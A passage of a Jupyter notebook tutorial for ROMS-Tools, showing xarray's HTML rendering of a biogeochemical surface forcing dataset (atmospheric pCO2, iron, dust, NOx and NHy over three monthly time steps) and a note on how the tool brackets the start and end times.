".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: 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!important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 749kB\n", "Dimensions: (time: 3, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 24B 2012-01-01 2012-02-01 2012-03-01\n", " pco2_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " iron_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " dust_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " nox_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " nhy_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", "Dimensions without coordinates: time, eta_rho, xi_rho\n", "Data variables:\n", " pco2_air (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", " pco2_air_alt (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", " iron (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", " dust (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", " nox (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", " nhy (time, eta_rho, xi_rho) float32 125kB dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: CESM_REGRIDDED\n", " correct_radiation: False\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: bgc</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-55855b12-d9e8-48aa-adeb-6caf63ea1a07' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-55855b12-d9e8-48aa-adeb-6caf63ea1a07' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span>time</span>: 3</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-658bdf58-a029-4099-99f0-2a8144b6d7a6' class='xr-section-summary-in' type='checkbox' checked><label for='section-658bdf58-a029-4099-99f0-2a8144b6d7a6' class='xr-section-summary' >Coordinates: <span>(6)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-01 2012-02-01 2012-03-01</div><input id='attrs-e9ed8ede-ea84-4e4d-a1a3-948bf268fcaf' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-e9ed8ede-ea84-4e4d-a1a3-948bf268fcaf' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-85fcec79-dc03-46da-ab1d-bed1690e71fd' class='xr-var-data-in' type='checkbox'><label for='data-85fcec79-dc03-46da-ab1d-bed1690e71fd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-01T00:00:00.000000000&#x27;, &#x27;2012-02-01T00:00:00.000000000&#x27;,\n", " &#x27;2012-03-01T00:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pco2_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.383e+03 4.414e+03 4.443e+03</div><input id='attrs-14148b1d-f1d8-4c93-bf95-abb16ad42307' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-14148b1d-f1d8-4c93-bf95-abb16ad42307' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c225e430-3bd8-495e-bad0-d20a5555d96a' class='xr-var-data-in' type='checkbox'><label for='data-c225e430-3bd8-495e-bad0-d20a5555d96a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383., 4414., 4443.])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>iron_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.383e+03 4.414e+03 4.443e+03</div><input id='attrs-03424537-5a6a-4a4c-b14f-868172cd544c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-03424537-5a6a-4a4c-b14f-868172cd544c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1d4809e5-6c0f-438e-8a57-030d840385d3' class='xr-var-data-in' type='checkbox'><label for='data-1d4809e5-6c0f-438e-8a57-030d840385d3' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383., 4414., 4443.])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>dust_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.383e+03 4.414e+03 4.443e+03</div><input id='attrs-ac8d4005-2556-4b99-918b-99bafb603722' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ac8d4005-2556-4b99-918b-99bafb603722' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-810be107-0a34-4f35-9395-9d49c4ac3edc' class='xr-var-data-in' type='checkbox'><label for='data-810be107-0a34-4f35-9395-9d49c4ac3edc' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383., 4414., 4443.])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>nox_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.383e+03 4.414e+03 4.443e+03</div><input id='attrs-b8c82654-5f12-46c0-961e-cb71294e3400' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b8c82654-5f12-46c0-961e-cb71294e3400' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-399abf7e-c747-4800-ae70-25625302fa2e' class='xr-var-data-in' type='checkbox'><label for='data-399abf7e-c747-4800-ae70-25625302fa2e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383., 4414., 4443.])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>nhy_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.383e+03 4.414e+03 4.443e+03</div><input id='attrs-ab0be3e5-e21d-496d-9afd-e2900485fe2c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ab0be3e5-e21d-496d-9afd-e2900485fe2c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1ebb9258-9669-437f-9457-84b2c9eea634' class='xr-var-data-in' type='checkbox'><label for='data-1ebb9258-9669-437f-9457-84b2c9eea634' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383., 4414., 4443.])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-faea579c-0ed8-4e7c-a264-e23586cd73b4' class='xr-section-summary-in' type='checkbox' checked><label for='section-faea579c-0ed8-4e7c-a264-e23586cd73b4' class='xr-section-summary' >Data variables: <span>(6)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>pco2_air</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-000852ca-820e-4e98-958e-beab39d4b332' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-000852ca-820e-4e98-958e-beab39d4b332' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d43d028f-5bd0-475e-914a-e155093e11b6' class='xr-var-data-in' type='checkbox'><label for='data-d43d028f-5bd0-475e-914a-e155093e11b6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>atmospheric pCO2</dd><dt><span>units :</span></dt><dd>ppmv</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 121.92 kiB </td>\n", " <td> 121.92 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (3, 102, 102) </td>\n", " <td> (3, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 41 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"198\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 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y2=\"138\" style=\"stroke-width:2\" />\n", " <line x1=\"148\" y1=\"18\" x2=\"148\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"28.39528971977636,18.39528971977636 148.39528971977637,18.39528971977636 148.39528971977637,138.39528971977637 28.39528971977636,138.39528971977637\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"88.395290\" y=\"158.395290\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"168.395290\" y=\"78.395290\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,168.395290,78.395290)\">102</text>\n", " <text x=\"9.197645\" y=\"149.197645\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.197645,149.197645)\">3</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pco2_air_alt</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-fcd53e42-5603-4e81-b832-38dcaefbebc2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-fcd53e42-5603-4e81-b832-38dcaefbebc2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e5af1da2-74c5-4e3f-a820-b52360b5ab20' class='xr-var-data-in' type='checkbox'><label for='data-e5af1da2-74c5-4e3f-a820-b52360b5ab20' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>atmospheric pCO2, alternative CO2</dd><dt><span>units :</span></dt><dd>ppmv</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 121.92 kiB </td>\n", " <td> 121.92 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (3, 102, 102) </td>\n", " <td> (3, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 53 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"198\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" 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y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"138\" x2=\"148\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", " <line x1=\"148\" y1=\"18\" x2=\"148\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"28.39528971977636,18.39528971977636 148.39528971977637,18.39528971977636 148.39528971977637,138.39528971977637 28.39528971977636,138.39528971977637\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"88.395290\" y=\"158.395290\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"168.395290\" y=\"78.395290\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,168.395290,78.395290)\">102</text>\n", " <text x=\"9.197645\" y=\"149.197645\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.197645,149.197645)\">3</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>iron</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(3, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-77db3a99-bc0d-4a6e-9577-c17a4c8b1679' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-77db3a99-bc0d-4a6e-9577-c17a4c8b1679' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-eff3b789-1f81-4e8f-94c1-665e8025db64' class='xr-var-data-in' type='checkbox'><label for='data-eff3b789-1f81-4e8f-94c1-665e8025db64' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>iron decomposition</dd><dt><span>units :</span></dt><dd>nmol/cm^2/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 121.92 kiB </td>\n", " <td> 121.92 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (3, 102, 102) </td>\n", " <td> (3, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 46 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"198\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 28.39528971977636,18.39528971977636 28.39528971977636,138.39528971977637 10.0,120.0\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"148\" y2=\"18\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"148\" y2=\"18\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 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for='data-c303a1cc-4fca-477f-8b67-2a3b3bdc8fd6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dust decomposition</dd><dt><span>units :</span></dt><dd>kg/m^2/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 121.92 kiB </td>\n", " <td> 121.92 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (3, 102, 102) </td>\n", " <td> (3, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 46 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"198\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 28.39528971977636,18.39528971977636 28.39528971977636,138.39528971977637 10.0,120.0\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"148\" y2=\"18\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"28\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"148\" y2=\"18\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 148.39528971977637,18.39528971977636 28.39528971977636,18.39528971977636\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"28\" y1=\"18\" x2=\"148\" y2=\"18\" style=\"stroke-width:2\" />\n", " <line x1=\"28\" y1=\"138\" x2=\"148\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" style=\"stroke-width:2\" />\n", " <line x1=\"148\" y1=\"18\" x2=\"148\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"28.39528971977636,18.39528971977636 148.39528971977637,18.39528971977636 148.39528971977637,138.39528971977637 28.39528971977636,138.39528971977637\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-6d1ae1a6-4edd-485d-8ede-675ff6cab90e' class='xr-var-data-in' type='checkbox'><label for='data-6d1ae1a6-4edd-485d-8ede-675ff6cab90e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>NOx decomposition</dd><dt><span>units :</span></dt><dd>kg/m^2/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 121.92 kiB </td>\n", " <td> 121.92 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (3, 102, 102) </td>\n", " <td> (3, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph 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id='section-3e86bb60-2a0c-4f68-8f8d-a3bb753b2929' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-3e86bb60-2a0c-4f68-8f8d-a3bb753b2929' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-7712120e-ff73-4198-a5ac-766f0a37d0ef' class='xr-section-summary-in' type='checkbox' checked><label for='section-7712120e-ff73-4198-a5ac-766f0a37d0ef' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>CESM_REGRIDDED</dd><dt><span>correct_radiation :</span></dt><dd>False</dd><dt><span>use_coarse_grid :</span></dt><dd>False</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>bgc</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 749kB\n", "Dimensions: (time: 3, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 24B 2012-01-01 2012-02-01 2012-03-01\n", " pco2_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " iron_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " dust_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " nox_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", " nhy_time (time) float64 24B 4.383e+03 4.414e+03 4.443e+03\n", "Dimensions without coordinates: time, eta_rho, xi_rho\n", "Data variables:\n", " pco2_air (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", " pco2_air_alt (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", " iron (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", " dust (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", " nox (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", " nhy (time, eta_rho, xi_rho) float32 125kB dask.array<chunksize=(3, 102, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: CESM_REGRIDDED\n", " correct_radiation: False\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: bgc" ] }, "execution_count": 19, "metadata": {}, "output_type": "execute_result" } ], "source": [ "bgc_surface_forcing.ds" ] }, { "cell_type": "markdown", "id": "d6505cc5-e062-427e-95c9-92475a3a92a6", "metadata": {}, "source": [ "Note that the data in `source={\"name\": \"CESM_REGRIDDED\", \"path\": bgc_path}` has monthly frequency. `bgc_surface_forcing.ds` has three time entries because `ROMS-Tools` makes sure to include one time entry at or before the `start_time`, and one time entry at or after the `end_time`. This is essential for proper functioning within ROMS. If the provided data does not meet this requirement, `ROMS-Tools` will issue a warning.\n", "\n", "We can plot the BGC surface forcing as we saw above." ] }, { "cell_type": "code", "execution_count": 20, "id": "0590bb2c-7619-4d65-98bf-dd675cd0f212", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 